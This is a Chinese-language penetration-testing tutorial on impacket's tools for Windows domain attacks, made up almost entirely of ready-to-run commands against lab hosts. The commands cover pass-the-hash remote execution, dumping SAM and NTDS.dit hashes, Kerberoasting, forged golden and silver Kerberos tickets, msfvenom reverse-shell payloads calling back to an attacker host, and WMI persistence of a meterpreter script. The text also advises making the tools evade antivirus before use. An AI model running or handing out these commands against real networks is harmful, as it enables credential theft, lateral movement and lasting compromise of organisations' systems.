impacket 协议攻击套件 [ 基础入门 ]

https://github.com/SecureAuthCorp/impacket               官方仓库https://github.com/maaaaz/impacket-examples-windows      有人已将各个脚本打包成相应的exe,此处绝大部分也都将全部用这些exe单文件来进行操作

确保用于横向的目标机器端口已事先开启,且防火墙已事先允许该端口, 常见横向端口,无非445,135,139,5985,5986,3389...另外,部分高级入侵检测防护可能会捕捉拦截此类的常规横向渗透手段一个正确的目标系统管理员账号密码或者密码hash [ 包括aes key ] [最好是系统内建的administrator密码,因为在2008之后的系统,默认是不允许rid非500的用户远程连接的,而在2008之前的系统,只需要你是本地管理组内的成员就可以 ]impacket工具本身要事先自行处理好免杀 [ 文章会全程用别人已经事先打包好的exe来进行演示,因为我们实战中绝大多数类似的操作还是会在win下,所以打包好的单exe文件会相对更方便些,当然,linux下也会偶尔用到 ]

# net use \192.168.3.51c$ /user:"webadmin" "admin!@#45"                此处的webadmin用户其实是一个rid非500的目标系统管理员用户# net use \192.168.3.51c$ /user:"administrator" "admin!@#45"

# atexec.exe ./administrator:admin!@#[email protected] "whoami /user"# atexec.exe ./webadmin:admin!@#[email protected] "whoami /user"# atexec.exe -hashes :518B98AD4178A53695DC997AA02D455C ./[email protected] "whoami /user"      默认走的smb [445端口]

# dcomexec.exe ./webadmin:admin!@#[email protected] "whoami /user"# dcomexec.exe ./administrator:[email protected] "whoami /user"# dcomexec.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./[email protected] "whoami /user"    平时可能会主要用在高版本系统中多一点,比如,2012R2之后的系统

# smbexec.exe ./webadmin:admin!@#[email protected]# smbexec.exe ./administrator:[email protected]# smbexec.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./[email protected]

# psexec.exe -hashes :518B98AD4178A53695DC997AA02D455C ./[email protected]     如下,在shell中exit之后,目标系统中相对应的服务会自动删除

# psexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/[email protected] -c D:impacketshell.exe

# wmiexec.exe ./tecadmin:!@#[email protected]# wmiexec.exe ./administrator:admin!@#[email protected] "whoami /user"# wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/[email protected] "whoami /user"# wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/[email protected] "whoami /user"

# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 create-name shell -display shellexec -path C:WindowsSystem32shell.exe# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 start-name shell# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 status-name shell# services.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 delete-name shell

# python rdp_check.py ./[email protected] -hashes :518B98AD4178A53695DC997AA02D455C# python rdp_check.py ./[email protected] -hashes :CCEF208C6485269C20DB2CAD21734FE7

# cd c:WindowsTemp# reg save HKLMSYSTEM sys.hiv# reg save HKLMSAM sam.hiv# reg save hklmsecurity security.hiv

# secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL

# vssadmin list shadows# vssadmin create shadow /for=c:# copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowsNTDSntds.dit c:ntds.dit# vssadmin delete shadows /for=c: /quiet# vssadmin list shadows# reg save hklmsystem c:system.hive

# secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

# lookupsid.exe 0day/[email protected] -hashes :518B98AD4178A53695DC997AA02D455C

# lookupsid.exe ./[email protected] -hashes :518B98AD4178A53695DC997AA02D455C

# samrdump.exe workgroup/[email protected] -hashes :518B98AD4178A53695DC997AA02D455C

# GetUserSPNs.exe -hashes :a76f1448cacdc40ec79a93c584137ffd 0day.org/mary –request# GetUserSPNs.exe -hashes :a76f1448cacdc40ec79a93c584137ffd 0day.org/mary -request-user sqlsvr

krbtgt用户的 ntlm hash [ 可从前面已经导出的域内hash中获取 ]目标域的sid目标域名任意用户名 [ 通常都直接用administrator ]

# ticketer.exe -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -user-id 500 -domain 0day.org administrator# export KRB5CCNAME=/root/impacket/examples/administrator.ccache# python wmiexec.py administrator@OWA2010SP3 -k -no-pass# cat /etc/hosts 

目标机器服务账户的ntlm hash目标域名要访问的目标服务,比如,HOST,CIFS...目标域sid目标机器名任意用户

# mimikatz.exe "kerberos::golden /user:klion /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:PC-jack-0day.0day.org /rc4:518b98ad4178a53695dc997aa02d455c /service:cifs" "exit"# kekeo.exe "misc::convert ccaches C:ticket.kirbi" "exit"# export KRB5CCNAME=/root/impacket/examples/[email protected][email protected]# python psexec.py [email protected] -k -no-pass# cat /etc/hosts

# getTGT.exe -hashes :518b98ad4178a53695dc997aa02d455c 0day.org/administrator# export KRB5CCNAME=/root/impacket/examples/administrator.ccache# python smbexec.py [email protected] -k -no-pass# cat /etc/hosts

# reg.exe -hashes :CCEF208C6485269C20DB2CAD21734FE7 ./administrator:@192.168.3.11 query -keyName HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun

# python smbclient.py 0day/[email protected] -hashes :518B98AD4178A53695DC997AA02D455C

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.3.137 LPORT=80 -f elf-so -o shell.so# sambaPipe.exe ./webadmin:[email protected] -so shell.so                  msf自带的exp模块可利用成功,但此工具却未能正常利用,有能力的弟兄后续可自行想办法改造脚本

# goldenPac.exe 0day.org/jack:admin!@#[email protected]     同上,目标确实存在漏洞,但该工具却无法识别

smbrelayx.pyntlmrelayx.py

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.137 LPORT=80 -f vbs -oshell.vbs# wmipersist.exe -hashes :518B98AD4178A53695DC997AA02D455C  0day/[email protected] install -namehello -vbs shell.vbs -timer 120# wmipersist.exe -hashes :518B98AD4178A53695DC997AA02D455C 0day/[email protected] -name hello

# python smbserver.py demo /opt/# copy samrdump.exe \192.168.3.137demo# ls /opt/

# python sniff.py